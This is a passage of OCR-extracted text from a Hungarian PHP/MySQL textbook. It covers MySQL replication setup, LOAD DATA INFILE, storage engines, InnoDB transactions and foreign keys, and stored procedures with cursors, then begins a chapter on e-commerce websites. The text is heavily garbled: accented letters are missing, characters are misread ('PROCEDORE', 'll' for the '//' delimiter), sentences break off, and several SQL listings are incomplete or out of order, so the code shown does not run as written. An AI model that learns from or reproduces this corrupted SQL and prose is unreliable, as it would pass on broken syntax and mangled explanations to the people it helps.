biztonsgi menrsek ltrehozshoz hasznlt eljrsoknl mr megmutattuk, hogyan tehetjk meg ezr. Elszr is Ilusholjuk tblkat a kvetkez utastssal: Az olvassi zrols indoka, hogy fel kell jegyeznnk a szerver binris napljban azt a helyet, ahol a pillanatfelvtelt ksztet
FLUSH TABLES WITH READ LOCK; tk. Az albbi utasts futtatsval tehetjk ezt meg: SHOW MASTER STATUS;
l File
llaura-ltc-bin.OOOOOl
l l
Position
Einlog Do_DB
Binlog_Ignore_DB
+----------------------+----------+--------------+------------------+
95
+----------------------+----------+--------------+------------------+
Jegyezzk fel a File s a Positiorr mez rtkr; a slave kiszolglk belltshoz szksg lesz ezekre. Mosr ksztsk el a pillanatfelvtelt, majd olcljuk fel a tblk zrelst a kvetkez utastssal:
unlock
tables;
208
12. fejezet
Amennyiben InnoDB tblkkal dolgozunk, a legegyszerbb az InnoDB Hot Backup eszkz hasznlata, amely az Innobase Oy oldaln rhet el (http:/ / www.innodb.com). Mivel nem ingyenes szoftverrl van sz, szmolnunk kell licenckltsggeL Megtehetjk azt is, hogy az irt bemutatort eljrst kvetjk, s a tblk zrolsnak feloldsa elre kikapcsoljuk a MySQL szer vert, s a repliklni kvnt adatbzis teljes knyvrrt lemsoljuk, majd jraindtjuk a kszolglt, s feloldjuk a tblk zrolst.
12
A dlt bervel szedert adatokat magunknak kell megadni. A szerver a master kiszolgl neve. A felhasznala s a j elszo a master kiszolgln futtatott GRANT utastsbl addik. A naplofaj l s a logpos pedig a master kiszolgln futtatort SHOW MASTER STATUS utasts kimenetbl kvetkezik. A slave kiszolgl most mr fut s mkdik. Amennyiben nem kszterrnk pillanatfelvtelt, a masterrl szrmaz adatokat az elz lekrdezs futtatsa utn a kvetke z utasts vgrehajtsval tlthetjk be:
LOAD DATA FROM MASTER;
Tovbbi olvasnival
A MySQL-rl szl eddigi fejezetekben a rendszer azon rszeire s hasznlatra fordtortuk figyelmnket, amelyek a webes fejleszts, illetve a MySQL s a PHP sszekapcsolsa szempongbl a leginkbb fontossggal brnak. Ha szecernnk tbbet megtudni a MySQL-adminisztrcirl, ltogassunk el a hrrp:/ / www.mysql.com cmen elrhet MySQL weboldalral rdemes lehet elolvasni a MySQL Press kiad Paul Dubois
MySQL Administrator's Guide and Language Rejerence cm kiadvnyr vagy MySQL (Addison-Wesley kiad, negyedik kiads) cm mvt.
Hogyan tovbb
A Halad
MySQL-programozs cm, kvetkez leckben a MySQL nhny olyan haladbb funkcijt ismerjk meg, amelyek
webes alkalmazsok rsakor hasznosak. Megrudjuk pldul azt, hogyan hasznljuk a klnbz trolmotorokat, a tranzakci kat s a trolt eljrsokat.
13
Halad MySQL ...programozs
A kvetkezkben A
halad MySQL-tmkrl,a tbbi kzt a tblaripusokrl, a tranzakcikrl s a trolt eljrsokrl olvashatunk. fejezet sorn rintett fbb tmakrk: A LOAD DATA INFILE utasts Trolmotorok Tranzakcik Kls kulcsok Trolt eljrsok
hasznos,eddig nem trgyalt funkcija a LOAD DATA INFILE utasts. Hasznlatval fjlbl tlthernk be a tblkba adatokat. Az utasts nagyon gyorsan lefut. Rugalmas, szmtalan opcival rendelkezik,jellernzen azonban a kvet kezkppen nz ki:
LOAD DATA INFILE "uj konyvek. txt" INTO TABLE konyvek;
Ez a sor a konyvek tblba olvassa az uj_konyvek. txt fjlban callhat adatokat. A fjl adatmezit alaprtelmezsben rabulrorokka! kell egymstl elvlasztani,s egyszeres idzjel kz kell helyezni ket,a sorokat pedig jsor karakterrel (\n) kell tagolni. A klnleges karaktereket perjellel (\) szksges kiemelni. Mindezeket a LOAD utasts klnbz opciival m dosthatjuk; a rszleteket a MySQL kziknyvben talljuk. A LOAD DATA INFILE utasts hasznlathoz a felhasznlnak a Webes adatbzis ltrehozsa cm 9. fejezetben bemuta tort FILE jogosultsggal kell brnia.
Trolmotorok
A MySQL tbbfle
trolmotort tmogat (amiket esetenknt tblatpusoknak is szoks nevezni). Ez azt jelenti,hogy vlasz rsi lehetsgnk van a tblk mgttes megvalsrst illeten. Adatbzisunk akr minden tblja hasznlhat ms s ms rrolmotort,s egyszeren vltharunk a mororok kztt. A tblaripust a tbla ltrehozsakor vlaszthatjuk ki az albbi utastssal:
tabla TYPE=tipus ....
CREATE TABLE
leggyakrabban hasznlt trolmotorok a kvetkezk: MyiSAM -Az alaprtelmezett tpus,ezt hasznltuk a knyv eddigi rszben is. A hagyomnyos !SAM-tpuson alapul,ami az Indexed Sequentia l Access Method (index-szekvencilis adatelrsi mdszer) rviditse. Ez a rekordok s fjlok trolsnak szabvnyos mdja. A MyiSAM szmos tovbbi elnyt kinl az ISAM-tpushoz kpest. A MyiSAM a tbbi trolmotorhoz kpest tbb eszkzzel rendelkezik a tblk ellenrzsre s javtsra. A MyiSAM tblk tmrthetk, s tmogatjk a teljes szvegre keresst (full text searching). Nem tranzakcibiztosak,s nem tmogatjk az idegen kulcsokat. MEMORY (korbbi nevn HEAP) -Az ilyen tpus tblkat a memriban trolja a MySQL,indexeit pedig hasheli. A MEMORY tblk ettl tudnak rendkvl gyorsak lenni,de a rendszer sszeomlsa esetn adataink elvesznek. Ezen tulaj donsgaiknak ksznheten a MEMORY tblk ideiglenes vagy szrmaztatott adatok trolsra idelisak. A CREATE TABLE utastsban meg kell hatroznunk a MAX_ROWS bellts (a sorok maximlis szma) rtkr, klnben a tblk a teljes mem rit k:isajtthatjk. BLOB, TEXT vagy AUTO INCREMENT oszlopot nem tartalmazhatnak. MERGE- Ezek a tblk lehetv teszik,hogy lekrdezs cljbl egyeden tblaknt kezeljnk tbb MyiSAM tblt. Ezzel kikerlhetk az egyes opercis rendszerek maximlis fjimreere vonatkoz korltozsai. ARCHIVE- Az ilyen tblk nagy mennyisg adatot trolnak kis helyen. Tmogatjk az INSERT s a SELECT lekrde zseket,a DELETE, az UPDATE s a REPLACE mveleteket viszont nem. Indexeket nem hasznlnak.
A
210
13.fezet
CSV- A kiszolgl egyetlen, vesszvel elvlasztott rtket tartalmaz fjlban trolja ezeket a tblkat.Elnyk akkor jelentke
zik, ha kls tblzatkezel alkalmazsban, pldul Microsoft Excelben lv adatokat kell megtekinreni, vagy dolgozni kell velk.
InnoDB-Az ilyen tblk tranzakcibiztosak; ez azt jelenti, hogy esetkben hasznlhatjuk a COMM IT s a ROLLBACK
parancsot.Az InnoDB tblk a kls kulcsokat is tmogatjk. A MyiSAM tblknl ugyan lassabbak, m a tranzakcik hasz nlatnak lehetsge ellenslyozza sebessgbeli htrnyukat. A webes alkalmazsok tbbsgben jellemzen MyiSAM vagy InnoDB tblkat, illetve ezek keverkt hasznljuk. Akkor rdemes MyiSAM tpussal dolgozni, amikor jelents szm
SELECT
(nem vegyesen a krfle lekrdezst), mett ebben ez a leggyorsabb. Szmos webes alkalmazshoz-egyebek kztt a katalgusok hoz is-a MyiSAM a legjobb vlaszts.Akkor is a MyiSAM a nyer, amikor teljes szvegre keressi lehetsgre van szksgnk. InnoDB tpus tblra akkor van szksg, amikor fontosak a tranzakcik (pldul pnzgyi adatokat trol tblk esetn), vagy pedig egyms kz keld INSERT s
SELECT
A MEMORY tblkat ideiglenes tblaknt vagy nzetek megvalstsra hasznlhatjuk, a MERGE tblkat pedig akkor, amikor igazn nagy MyiSAM tblkat kell kezelnnk. A tbla ltrehozsa utn az ALTER
TABLE
A knyv ezen rszben leginkbb MyiSAM tblkkal dolgoztunk. Sznjunk most kis idt arra, hogy figyelmnket a tranz akcik hasznlatra, illetve az InnoDB tblkon belli megvalsrsuk mdszereire fordtsuk!
13
Tranzakcik
A tranzakcik az adatbzis konzisztencijt biztost mechanizmusok, amelyek klnsen hiba vagy szerversszeomls esetn
fontosak.A kvetkez rszekbl kiderl, pontosan mik azok a tranzakcik, s hogyan valsthatjuk meg ket InnoDB tblkkal.
ln ne fusson le.
Konzisztencia (Consistency)- A tranzakcinak meg kell riznie az adatbzis konzisztens llapott. Izolci (Isolation)- A befejezetlen tranzakcik az adatbzis ms felhasznli szmra lthatatlanok kell, hogy legye
A vglegesen az adatbzisba rt tranzakcit vglegestettnek ( committed) moncljuk. Az adatbzisba nem rt tranzakci r, vagyis amikor az adarbzis visszall a tranzakci megkezdse eltti llapotba, visszagrgetett (rolled back) tranzakcinak nevezzk.
Halad MySQL-programozs
211
Kikapcsolt llapot esetn nincs szksg erre a parancsra, mert a tranzakci automatikusan megkezddik, arnint berunk egy SQL utastst. Ha befejeztk a tranzakcit alkot utastsok bevitelt, egyszeren a kvetkezt begpelve vglegesthetjk azt az adatbzisban:
COMMIT;
utastssal trhetnk vissza az adatbzis elz llapothoz. Amig nem vglegestjk a tranzakcit, a tbbi felhasznl szmra vagy ms munkamenetekben lmatatlan lesz. Nzznk egy pldt! Amennyiben mg nem tettk volna meg, hajtsuk vgre a konyvek adatbzison a fejezet elz rsz ben emltett, kt ALTER TABLE utastst most:
ALTER TABLE ALTER TABLE megrendelesek TYPE=innodb; rendelesi_tetelek TYPE=innodb;
Ezek az utastsok InnoDB tblkk alaktjk a kt tblt. (A ksbbiekben ugyanezzel az utastssal visszaalakthatjuk ket, m akkor a type=MyiSAM paramtert kell hasznlni.) Nyissunk kt kapcsolatot a konyvek adatbzishoz l Adjunk egy j rendelsi rekordot az adatbzishoz:
INSERT INTO megrendelesek VALUES (5,
2,
69.98,
'2008-06-18');
'0-672-31697-8',
l);
vasarloid
osszeg
datum
13
+------------+-----------+--------+------------+
5
69.98
2008-06-18
+------------+-----------+--------+------------+
Hagyjuk nyitva ezt a kapcsolatot, menjnk a msikra, s futassuk le ugyanezt a SELECT lekrdezst! Ekkor nem fogjuk ltni a megrendelst:
Empty set
(0.00 sec)
Ennek oka, hogy a tranzakcit mg nem vglegestetrk. (Kivl pldja ezt a tranzakci-izollsnak.) Ha mgis ltjuk, akkor minden bizonnyal elfelejtettk kikapcsalni az automatikus vglegestst (autocommit). Ellenrizzk ezt, illetve azt, hogy InnoDB formtumv alaktottuk-e a szban forg tblt! Trjnk vissza az els kapcsolathoz, majd vglegestsk a tranzakcit:
COMMIT;
Kls kulcsok
Az InnoDB a kls kulcsokat is tmogatja. Emlkezhetnk r, hogy a kls kulcsok fogalmval a Webes adatbzis megtervezse cm 8. fejezetben tallkoztunk. MyiSAM tblk hasznlata esetn nincs lehetsg kls kulcsok hasznlatra. Gondoljuk vgig pldul azt az esetet, amikor sort szrunk bele a rendelesi_tetelek tblba! Ehhez rvnyes
rendelesid-ra
a
van szksg. MyiSAM tblk hasznlata esetn valahol mshol, az alkalmazs logikjval kell szavatolnunk
beszrt rendelesid rvnyessgt. Az InnoDB tblkban a kls kulcsok hasznlata lehetv teszi, hogy az adatbzis Hogyan llrhatjuk ezt be Ha a tblt mr erederileg kls kulcs hasznlatval kvnjuk ltrehozni, akkor a kvetkezkp
vgezze el helyetrnk ezt az ellenrzst. pen kell megvltoztaeni a tbla DDL utastst:
CREATE TABLE rendelesi_tetelek ( rendelesid INT UNSIGNED NOT NULL REFERENCES megrendelesek(rendelesid), isbn CHAR(l3) NOT NULL, mennyiseg TINYINT UNSIGNED, PRIMARY KEY (rendelesid, ) TYPE=InnoDB; isbn)
A re ferences megrendelesek (rendelesid) szavakat rtuk a rendelesid mg. Ez azt jelenti, hogy az oszlop kls kulcs, amelynek a megrendelesek tbla rendelesid oszlopbl szrmaz rtket kell tartalmaznia. Ez szksges
a
212
13. fejezet
ALTER TABLE
ALTER TABLE rendelesi_tetelek TYPE=InnoDB; ALTER TABLE rendelesi tetelek ADD FOREIGN KEY (rendelesid) REFERENCES megrendelesek(rendelesid);
Hogy kidertsk, mkdik-e a mdosts, prbljunk meg olyan rendelesid-j sort beszrni, amelyhez a megrendelesek tblban nem tartozik megfelel sor:
INSERT INTO rendelesi_tetelek VALUES
(77,
'0-672-31697-8',
child row:
7);
1452
(23000):
Trolt eljrsok
A trolt eljrs MySQL-en bell ltrehozott s trolt programozsi fggvny, amely SQL utastsokbl s nhny klnleges vezrlsi szerkezetbl ll. Akkor tud hasznos lenni, amikor ms alkalmazsokbl vagy platformokrl kvnjuk elvgezni ugyan azt a funkcit, illetve funkcionalits begyazsra is kivlan alkalmas. Adatbzisok esetn a trolt eljrsokra tekinthetnk gy, mint programozs esetn az objektumorientlt megkzeltsre. Lehetv teszik, hogy kontrolltjuk az adatelrs mdjt. Elszr vizsgljunk meg egy egyszer pldt!
13
Alapplda
A 13.1 pldakd trolt eljrs deklarlst mutatja.
13.1 pldakd: egyszeru_tarolt_elj aras. sql# Plda egyszer trolt eljrsra
delimiter
ll
CREATE BEGIN
PROCEDORE megrendeles_osszesito
(OUT
total FLOAT)
ll
delimiter
ll
az utasts vgt jelz elvlaszt aktulis rtkt - ami ltalban pontosvessz, hacsak korbban meg nem vltoztattuk - dupla elre perjell mdostja. Erre azrt van szksg, hogy a trolt eljrson bell anlkl hasznlhassuk a pontosvesszt, hogy a MySQL megprblja soronknt vgrehajtani a kdot. A kvetkez sor, a
CREATE PROCEDORE megrendeles_osszesito (OUT total FLOAT)
hozza ltre magt az eljrst. Ennek az eljrsnak megrendeles_osszesi to a neve. Egyeden paramtere van, a total, ami nem ms, mint a kiszmtani kvnt rtk. Az OUT sz jelzi, hogy ezt a paramtert vissza fogjuk kapni. A pararnterek deklarlhatkIN-knt is, ami azt jelenti, hogy az adott rtket tadjuk az eljrsba, illetve INOUT-knt, ami kor az rtket tadjuk az eljrsba, ami mdosthatja azt. A FLOAT sz a paramter tpusra utal. Jelen esetben a megrendelesek tblban lv sszes rendels sszegt adjuk vissza. A megrendelesek oszlop tpusa FLOAT, gy a visszaadott rtk is FLOAT lesz. Az elfogadhat adattpusok krt a lehetsges oszloptpusok hatrozzk meg. Amennyiben egynl tbb paramtert szeremnk hasznlni, vesszvel elvlaszrott listval adhatjuk meg ket, ahogy azt PHP-ben is tennnk.
Halad MySQL-programozs
213
A:z. eljrs trzst aBEGIN s az END utasts fogja kzre. A PHP kapcsos zrjeleinek rsblokk elejt s vgt jelzik.
({
A trzsben egyszeren egy SELECT utastst futtatunk. A:z. egyetlen klnbsg a megszekott hasznlattl az INTO
total mellkg szerepeltetse, amely a lekrdezs eredmnyt a total paramterbe tlti be.
Deklarlsa utn a CALL kulcsszval hvhaljuk az eljrst, egsz pontosan gy: CALL megrendeles_osszesito(@t); Ez az utasts a megrendeles_osszesito trolt eljrst hvja meg, s tad neki egy vltozt az eredmny trolsra. Ennek megtekintshez ezt a vltozt kell megnznnk: SELECT @t; Az eredmny ehhez hasonl lesz:
+-----------------+
l @t
+-----------------+
l 289.92001152039
+-----------------+
Az eljrsok esetben hasznlt mdhoz hasonlan fggvnyt is ltrehozharunk. A fggvny csak bemeneti (input) param tereket fogad, s egyetlen rtket ad vissza. Az alapvet szintaktikjuk is majdnem teljesen megegyezik. A 13.2 pldakdban egy mintafggvnyt lthatunk. 13.2 pldakd: egyszeru_ fuggveny. sql
13
ll RETURNS FLOAT
Lthat, hogy a fenti plda a PROCEDURE kulcssz helyett a FUNCTION-t hasznlja. Nhny tovbbi klnbsger is meg kell emlteni. A paramtereket nem kell IN vagy OUT kulcsszavakkal meghatrozni, mert mind csak IN, azaz bemeneti paramter lehet. A paramterlista utn a RETURNS FLOAT mellkg lthat. Ez hatrozza meg a visszaadand rtk tpust, amely brmilyen rvnyes MySQL tpus lehet. rtket- a MySQL-hez hasonlan- itt is a RETURN utastssal adunk vissza. Figyeljk meg, hogy a plda nem hasznlja aBEGIN s az END utastst! Berhatjuk ket, de nem ktelez. Akrcsak PHP ben, ha egy utastsblokk egyetlen utastst tartalmaz, nem szksges jellni az elejt s a vgt. A fggvnyhvs nmikppen eltr az eljrsok meghvstL Trolt fggvnyt ugyangy hvunk meg, ahogyan egy beptett fggvnyt tennnk. Pldul: SELECT ado_hozzaadasa(100}; Ez az utasts az albbi kimenetet eredmnyezi:
+---------------------+
l ado_hozzaadasa(100}
+---------------------+
llO
+---------------------+
Deklarlsuk utn az eljrsok s fggvnyek kdjt a kvetkezkppen tekinthetjk meg: SHOW CREATE PROCEDURE megrendeles_osszesito; vagy SHOW CREATE FUNCTION megrendeles_osszesito;
214
13. fejezet
Trlni pedig a
DROP PROCEDURE total_orders;
illetve a
DROP FUNCTION ado_hozzaadasa;
utastssal lehet. A trol eljrsok esetn hasznlhatunk vezrlsi szerkezeteket, vltozkat, DECLARE kezelket (amelyek a kivtelekhez hasonlk) s egy fontos,
Helyi vltozk
begin ...end blokkon bell a DECLARE kulcsszval vezethetnk be helyi vltozkat. Mdosthaguk
az
ado_hozzaadasa
fggvnyt pldul gy, hogy helyi vltozt hasznlva trolja az adkulcsot. Ezt lthatjuk a 13.3 pldakdban.
13.3 pldakd: egyszeru_fuggveny_val tozokkal. sql-
13
ll
delimiter
A fentiekbl kiderl, hogy a vltozt a DECLARE kulcsszval deklarljuk, amit a vltoz neve, majd a tpusa kvet. Az opcio nlis DEFAULT mellkggal kiindul rtket adhatunk a vltoznak. Ezt kveten a szoksos mdon dolgozhatunk a vltozval.
rtket, m a plda kivlan szemllteti a kurzorok s a vezrlsi szerkezetek hasznlatr.) A trolt eljrs kdjt
# A legnagyobb rtk rendels rendelesid-jt max-szal is kiderthetnnk, # m az albbi kddal bemutathatjuk a trolt eljrsok elveit
delimiter ll CREATE PROCEDURE legnagyobb_rendeles(OUT legnagyobb id INT) BEGIN DECLARE aktualis id INT; DECLARE aktualis_osszeg FLOAT; DECLARE l_osszeg FLOAT DEFAULT 0.0; DECLARE l id INT; DECLARE kesz INT DEFAULT 0; DECLARE CONTINUE HANDLER FOR SQLSTATE
'02000'
SET kesz
l;
Halad MySQL-programozs
215
DECLARE
OPEN
cl;
REPEAT FETCH
cl INTO
aktualis id,
aktualis csszeg;
l_csszeg THEN
csszeg=aktualis csszeg;
IF; REPEAT;
SET legnagycbb_id=l
id;
END ll
delimiter
Ez a kd vezrlsi szerkezeteket (feltteles utastsokat s ciklusokat), kurzorokat s DECLARE kezelker hasznl. Nzzk r sorrl sorra! Az eljrs elejn szmos, az eljrson bell hasznland, helyi vltozt deklarlunk. Az aktualis_id s az aktualis_
osszeg
13
vltoz trolja az aktulis sor rendelesid s csszeg rtkr. Az l_csszeg s az l_id vltoz a legnagyobb
rendelsi rtket s az ahhoz tartoz rendelsazonostt trolja. Mivel a legnagyobb rtket gy llaptjuk meg, hogy minden
rtker sszehasonltunk az addig legnagyobba!, a vltoz kezdeti rtkt nullra llg uk.
A kvetkezknt deklarlt vltoz a kesz, amelynek kezdeti rtke nulla (false ) . Ez a ciklus vgr jelz vltoz. Amikor elfogynak a megvizsgland sorok, az rtkt l-re ( true ) llguk. A
DECLARE CONTINUE HANDLER FOR SQLSTATE
'02000'
SET kesz =
l;
sort declare
kezelnek (deelare hand/er) nevezzk. Ezek a kivtelekhez hasonl szerepet tltenek be trolt eljrsokban. Lreznek mg continue (folytats) s exit (kilps) kezelk. A continue kezelk- gy az itt lthat is-elvgzik a meghatrozorr mvele
tet, majd folytatjk az eljrs vgrehajtst. Az exit kezelk kilpnek a legkzelebbiBEGIN...END blokkbl. A declare kezel kvetkez rsze hatrozza meg, hogy mikor lesz a kezel meghvva. Pldnkban akkor, amikor elrjk az
sqlstate
'02000 '-t. Bizonyra rdekldsre tart szmot, hogy ez mit jelent, mert nagyon titokzatosan hangzik! Azt jelen
NOT FOUND
ri, hogy az eljrs akkor hvja meg a kezelt, an1ikor nem tall tbb sort. Az eredmnyhalmazt soronknt dolgozzuk fel, s ami kor elfogynak a feldolgozsra vr sorok, meghvjuk ezt a kezdt. Ugyanezt rjk el a FOR Tovbbi lehetsg az SQLWARNING s az SQLEXCEPTION.
A kvetkez dolog, amirl beszlnnk kell, a
meghatrozsval is.
kurzor (cursor). A tmbhz hasonl kurzor lekrdezs eredmnyhalmazr t () ad vissza), s lehetv teszi, hogy soronknt feldolgozzuk azt (ahogy pldul
csszeg FROM megrendelesek;
()
DECLARE cl
CURSOR
FOR
rendelesid,
Ennek neve cl. Ez pusztn annak meghatrozsa, hogy mit fog trolni. A lekrdezst ezzel mg nem futtattuk le. A kvetkez sor
OPEN cl;
az, amelyik
rnylegesen lefuttaga a lekrdezst. Ahhoz, hogy egyenknt megkapjuk az egyes adatsorokat, FETCH utastst kell
Figyeljk meg, hogy a felttelt (until kesz) a ciklus vgig nem vizsgljuk! A trolt eljrsok a while ciklusokat is tmogagk, ezek formja:
WHILE feltetel DO
216
13. fejezet
END
WHILE;
END LOOP
Ezek a ciklusok nincsenek beptett felttelekkel elltva, hanem leave; zk meg, hogy a trolt eljrsokban for ciklusokat nem hasznlhatunk! Folytassuk pldnkat! A kvetkez kdsor egy adatsort fog meg:
FETCH cl INTO aktualis_id,
aktualis_osszeg;
Ez a kd a kurzorlekrdezs egy sort keresi vissza. A lekrdezs ltal visszaadott kt tulajdonsgot a megadott kt helyi vltozban trolja el. Kt IF utastssal ellenrizhegk, hogy visszakaptunk-e sort, illetve az aktulis rtket sszehasonlthatjuk az eltrolt leg nagyobb rtkkel:
IF NOT kesz THEN IF aktualis asszeg
>
l asszeg THEN
SET l osszeg=aktualls osszeg; SET l id=aktualis id; END IF; END IF;
13
A trolt eljrsok az IF...THEN szerkezeten tlmenen az IF...THEN...ELSE szerkezetet is tmogagk. Ez a kvet kezkppen nz ki:
IF feltetel THEN [ELSEIF feltetel THEN] [ELSE]
END IF
Trjnk vissza pldnkhoz! A ciklus befejezdse utn egy kis rendraks vr rnk:
CLOSE cl; SET legnagyobb_id=l id;
A CLOSE utasts lezrja a kurzort. Vgl belltjuk az OUT paramtert a kiszmtott rtkre. Ideiglenes vltozknt nem hasznlhatjuk ezt a paramtert, csak a vgleges rtk trolsra. (Az ilyen hasznlat nhny ms programozsi nyelvhez, pldul az Adhoz hasonl.) Ha az itt bemutatott mdon ltrehozzuk az eljrst, ugyangy hvhag uk meg, ahogy tettk az elz eljrssal:
CALL legnagyobb_rendeles(@l); SELECT @l;
@l
+------+
+------+
Halad MySQL-programozs
217
Tovbbi olvasnival
A fejezeeben rviden megismerkedtnk a trole eljrsok mkdsve!. A tmrl bvebben is olvashacunk a MySQL kzi knyvben. Ezt rdemes tanulmnyozni akkor is, ha a szecernnk tovbbi informcit kapni. Amennyiben a cranzakcik s az adarbzis-konzisztencia rdekel bennnket, keressnk egy olyan j knyvec a relcis adac bzisokrl, minr pldul a C. J. Date ltal jegyzett An Introduction to Database Systems!
LOAD DATA INFILE
Hogyan tovbb:
ttekintettk a PHP s a MySQL alapjait. Az E-kereskedelmi honlap zemeltetse cm 14. fejezetben az elektronikus kereske delem s a biztonsg szemszgbl vizsgljuk meg, hogyan hozzunk ltre olyan weboldalakac, amelyek mgct adarbzis ll.
13
III
E kereskedelem s biztonsg
...
14
15
16
17
18
19
14
Ekereskedelmi honlap zemeltetse
A fejezetben azzal a krdskrrel foglalkozunk, hogyan lehet hatkonyan megtervezni, ltrehozni s mkdtetni egy e-keres kedelmi honlapot. Megvizsgljuk a tervet, a lehetsges kockzatokat, illetve megnzzk, hogyan tarthatja el nmagt egy ilyen weboldal. Az albbi fbb tmakrkrl olvasharunk: Az e-kereskedelmi oldalunk clja Az zleti weboldalak tpusai Kockzatok s veszlyforrsok megismerse A megfelel stratgia kivlasztsa
Mi a clunk:
Mielrt tl sok idt fordtannk arra, hogy weboldalunk megvalstsnak rszletein tprengnk, hatrozort clokkal, illetve az ezekhez a clokhoz elvezet, kellen rszleres tervvel kell rendelkeznnk. Knyvnkben azzal a feltevssel lnk, hogy zleti weboldalt kvnunk kszteni. Egyik clunk gy minden bizonnyal a pnzkeress. Sokflekppen kzethetnk zleti cllal az internethez. Elkpzelhet, hogy offline szolgltatsainkat szeretnnk reklmoz ni, vagy kzzelfoghat termkeket szetetnnk online rtkesteni. Lehet, hogy online rtkesthet s szolglrathat termkkel rendelkeznk. Az is lehet, hogy honlapunk clja nem kzveclenl a bevtelteremts, hanem offline tevkenysgeket tmogat, vagy a jelenlegi lehetsgek egy olcsbb alrernatvjt jelenti.
Termkekre vagy szolgltatsokra irnyul rendelsek felvtele Szolgltatsok vagy digitlis termkek rtkestse Tbbletrtk hozzadsa termkekhez vagy szolgltatsokhoz Kltsgcskkents
Az egyes weboldalak klnbz rszei a fenti kategrik kzl tbbnek is megfelelnek. Nzzk meg ezeknek a kategrik nak a rszleres lerst, illetve azt, hogyan lehet ezeket gy alkalmazni, hogy abbl bevtele vagy ms elnye szrmazzk szerve zetnknek! A knyv ezen rsznek clja, hogy segitsen megfogalmazni cljainkat. Mirt van szksgnk weboldalra? A weboldalunkra tervezert funkcik mivel jrulnak hozz vllalkozsunk sikerhez?
222
14.fezet
Egy ilyen honlap kifejlesztse mszaki szempontbl nem tl nagy kihvs.A marketing ms terleteirl ismert problmkkal kell itt is megkzdeni.Az ilyen oldalak esetben leginkbb az albbi hibkat szoktk elkvetni:
Elmulasztjk kzztenni a fontos informcikat Gyenge minsg megjelentssel llnak el Nem vlaszolnak a honlap ltal generlt megkeressekre Hagyjk a honlapot megregedni Elmulasztjk nyomon kvetni az oldal ltogatotcsgt
Mit keresnek a ltogatk, amikor megnyitjk egy cg honlapjt Attl fggen, hogy mr milyen informcikkal rendelkeznek, lehet, hogy rszletes termkspecilikcikra van szksgk, de az is lehet, hogy olyan egyszer adatokra, mint pldul az elrhe tsg. Sok weboldal semmilyen hasznos informcit nem kzl, vagy ppen a lnyegi dolgokrl feledkezik meg.Egy honlapnak legalbb azt tudatni kell a ltogatkkal, hogy mivel foglalkozik a cg, milyen fldrajzi terletet szolgl ki, s hogyan lehet felven ni vele a kapcsolatot.
14
Az interneten senki nem tudja, hogy kutya vagy- szl a rgi monds.1 Ugyangy, ahogy a kisvllalatok (vagy a kucyk) na gyobbnak s meggyzbbnek tnhetnek az interneten, a nagyvllalatok is tnhetnek kicsinek, amatrnek s rdektelennek, ha gyenge a honlapjuk Cgnk mrettl fggetlenl gyelni kell arra, hogy honlapunk magas sznvonal legyen.A szveget olyasvalaki rja s ellenrizze le, aki magas szinten beszli az adott nyelvet! A kpek legyenek rendezettek s jl lthatk, s gyorsan tltdjenek le! zleti cl oldalon alaposan meg kell fontolni a kpi elemek s sznek hasznlatt - gyelve arra, hogy illeszkedjenek a cg ltal kpviselni kivnt imzshoz.Az animcival csnjn bnjunk, st jobb, ha egyltaln nem hasznlunk.Soha ne jtsszunk le hangot anlkl, hogy a felhasznl ezt kifejezetten krnl Br azt nem fogjuk tudni elrni, hogy az oldal minden gpen, minden opercis rendszeren s bngszben pontosan ugyangy jelenjen meg, gyeljnk r, hogy szabvnyos HTML vagy XHTML kdot hasznljunk, hogy ltogatink dnt tbbsge hiba nlkl lssa az oldalt megjelenni! Fontos, hogy tbbfle kpernyfelbontsban s minden elterjedt bngsz opercis rendszer kombinciban teszteljk az oldal megjelenst.
A kivl gyflszolglat az interneten is legalbb olyan fontos szerepet jtszik az gyflszerzsben s -megtartsban, mint az zleti vilg ms terletein.Kis- s nagyvllalatok egyarnt eikvetik azt a hibt, hogy feltntetnek honlapukon egy e-mail c mer, majd elmulasztjk ellenrizni s idben megvlaszolni az erre a cmre rkez leveleket. Az embereknek a vlaszid tekintetben eltr elvrsai vannak az e-maiilel s a postai levllel szemben. Ha az e-maileket nem ellenrizzk napi rendszeressggel, s nem vlaszolunk rjuk, a feladk azt fogjk gondolni, hogy megkeress k nem fon tos szmunkra. A weboldalakon kzztett e-mail cmeknek ltalnosnak kell lennik, pozcihoz vagy cges rszleghez, nem pedig egy adott szemlyhez kell ktdnik. Vajon mi trtnik a kovacs. j anos@minta. hu cmre kldtt e-maillel, ha Jnos mr nem dol gozik a cgnl A sales@minta. hu cmre kldtt e-mailt minden bizonnyal megkapja az utdja is. Radsul egynl tbb munkatrshoz is irnythat, gy biztosan idben vlasz szletik r. A weboldalakra kirakott e-mail cmekre minden bizonnyal rengeteg kreden levelet, spamet fogunk kapni. Erre is gondol junk, amikor elhatrozzuk azt, hogyan tovbbtsuk vagy kezeljk az ezekre a cmekre kldtt leveleket! A kzvetlen e-mail cmek helyett rdemes lehet rlap alap kapcsolatfelvteli lehetsget adni az oldalon, mert ezzel cskkenthet a kreden leve lek szma.
erederileg a
l Egy internettel kapcsolatos.rgi monds" termszetesen nem lehet tl rgi. Ez az idzet Peter Sreiner humoros rajzbl szrmazik, amely The New Yorker 1993. jlius 5-ei szmban jelent meg.
223
Gondoskodni kell arrl, hogy honlapunk megrizze frissessgc s naprakszsgc. A tartalmat rendszeresen vltoztaeni kell. A szervezeti vltozsokat ugyangy tkrznie kell a honlapnak. Egy ,.beporosodocc oldal" nem sztnz visszatrsre, s azt a gyant kelti a lcogackban, hogy az informcik jelents rsze mr elavult, nem aktulis. Az egyik mdszer arra, hogy honlapunk ne veszcse el akcualicsc, ha sajt kezleg frisstjk az oldalakat. Egy msik lehet sg dinamikus oldalak ltrehozsa olyan programozsi nyelvvel, minc pldul a PHP. Az aktulis informcikhoz folyamarosan hozzfr kd segtsgvel oldalaink naprakszek maradhatnak.
A ltogatottsg nyomon kvetsnek elmulasztsa
